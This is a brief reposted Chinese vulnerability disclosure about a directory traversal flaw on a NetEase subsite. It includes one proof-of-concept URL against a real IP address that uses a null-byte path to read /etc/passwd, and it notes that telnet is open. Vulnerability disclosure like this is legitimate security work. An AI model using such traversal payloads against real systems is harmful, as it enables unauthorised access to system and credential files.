网易某分站目录遍历及修复 - 网站安全 - 自学p

简要描述： 目录遍历，可读到/etc/passwd文件，开启telnet 详细说明：

漏洞证明：

http://220.181.99.60:80/mobile/register.jsp?step=etc/passwd%00.png

查看更多关于网易某分站目录遍历及修复 - 网站安全 - 自学p的详细内容...